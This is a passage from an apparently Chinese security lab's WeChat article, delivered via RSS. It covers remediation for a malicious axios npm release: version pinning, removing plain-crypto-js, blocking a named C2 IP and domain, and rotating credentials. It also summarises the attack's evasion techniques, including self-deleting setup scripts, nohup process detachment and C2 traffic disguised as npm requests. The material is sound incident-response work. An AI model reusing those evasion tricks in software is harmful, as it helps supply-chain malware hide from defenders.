stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 1. 回退 axios 并锁定版本</span></span><span leaf=""><br/></span><span leaf="">npm install axios@1.14.0   </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 1.x 用户</span></span><span leaf=""><br/></span><span leaf="">npm install axios@0.30.3   </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 0.x 用户</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 2. 添加 overrides 防止传递依赖解析回恶意版本</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># package.json:</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;dependencies&#34;</span></span><span leaf="">: { </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;axios&#34;</span></span><span leaf="">: </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;1.14.0&#34;</span></span><span leaf=""> },</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;overrides&#34;</span></span><span leaf="">:    { </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;axios&#34;</span></span><span leaf="">: </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;1.14.0&#34;</span></span><span leaf=""> },</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;resolutions&#34;</span></span><span leaf="">:  { </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;axios&#34;</span></span><span leaf="">: </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;1.14.0&#34;</span></span><span leaf=""> }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 3. 移除恶意依赖并重新安装</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">rm</span></span><span leaf=""> -rf node_modules/plain-crypto-js</span><span leaf=""><br/></span><span leaf="">npm cache clean --force</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">rm</span></span><span leaf=""> -rf node_modules package-lock.json</span><span leaf=""><br/></span><span leaf="">npm install --ignore-scripts</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 4. 阻断 C2 通信</span></span><span leaf=""><br/></span><span leaf="">iptables -A OUTPUT -d 142.11.206.73 -j DROP</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">echo</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;0.0.0.0 sfrclak.com&#34;</span></span><span leaf=""> &gt;&gt; /etc/hosts</span></code></pre><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">9.2 凭据轮换</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">如果确认安装了恶意版本，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">必须假设系统已被完全控制</span></strong><span leaf="">：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 轮换所有 npm Access Token</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 轮换 GitHub Personal Access Token (PAT)</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 轮换 AWS Access Key / Secret Key</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 轮换 GCP Service Account Key</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 轮换 Azure 凭据</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 轮换所有数据库连接字符串</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 轮换 SSH 私钥</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 轮换 CI/CD Secrets（GitHub Actions Secrets、GitLab CI Variables 等）</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 审计 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.env</span></code><span leaf=""> 文件中所有可能被读取的密钥</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 重置 npm 账号密码，启用硬件 2FA</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 审计 GitHub 仓库 Webhook、Apps 和 OAuth 授权</span></p></li></ul><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">9.3 系统重置（如已确认感染）</span></h3><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">隔离受感染主机</span></strong><span leaf=""> — 立即断网</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">全盘取证</span></strong><span leaf=""> — 断网状态下导出内存镜像和磁盘镜像</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">不要尝试原地清理</span></strong><span leaf=""> — 重建已知安全状态</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">重新部署</span></strong><span leaf=""> — 使用已验证安全的制品重新部署</span></p></li></ul><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">九、攻击特征总结</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">此次攻击是</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">有记录以来对 Top-10 npm 包最成熟的供应链攻击之一</span></strong><span leaf="">：</span></p><ol style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">1. </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">预置 18 小时</span></strong><span leaf=""> — 恶意依赖提前发布以避免&#34;新包&#34;告警</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">2. </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">三平台预构建载荷</span></strong><span leaf=""> — macOS/Windows/Linux 各自独立的第二阶段载荷</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">3. </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">39 分钟双分支投毒</span></strong><span leaf=""> — 1.x 和 0.x 同时命中</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">4. </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">每条痕迹均设计为自毁</span></strong><span leaf=""> — setup.js 删除自身、替换 package.json</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">5. </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">进程树逃逸</span></strong><span leaf=""> — 使用 nohup 脱离父进程，规避进程归因</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">6. </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">C2 伪装为 npm 流量</span></strong><span leaf=""> — POST Body 使用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">packages.npm.org/</span></code><span leaf=""> 前缀</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">7. </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">零源码修改</span></strong><span leaf=""> — axios 源码中无一行恶意代码，仅通过幽灵依赖触发</span></p></li></ol><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">十、参考来源</span></h2><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(87, 107, 149);"><span leaf="">StepSecurity — axios Compromised on npm: Full Technical Analysis</span></span><span leaf=""> <a href="https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan" target="_blank">https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan</a></span></p></li></ul></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=32d9140b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486734%26idx%3D1%26sn%3D79dfe00b33f6bc5f5333a2d426fd1a7c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 31 Mar 2026 14:26:00 +0800</pubDate>
    </item>
    <item>
      <title>Apifox 供应链投毒安全事件预警与排查</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486727&amp;idx=1&amp;sn=c7fa3662d38425a18438e180cef12d26</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>猎户攻防实验室</span> <span>2026-03-27 10:50</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a6ddea41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FJ8Ev2iczlWG3tRnMbkhm3zox8DibQRo5iab9j6RUq9X92eZLTmicpKJnQnWPqORjlW8rxJeongMscicN6shrcnG49QjvOzLWvlmG0lBzanj4mx0w%2F0%3Fwx_fmt%3Djpeg"/></p>
  
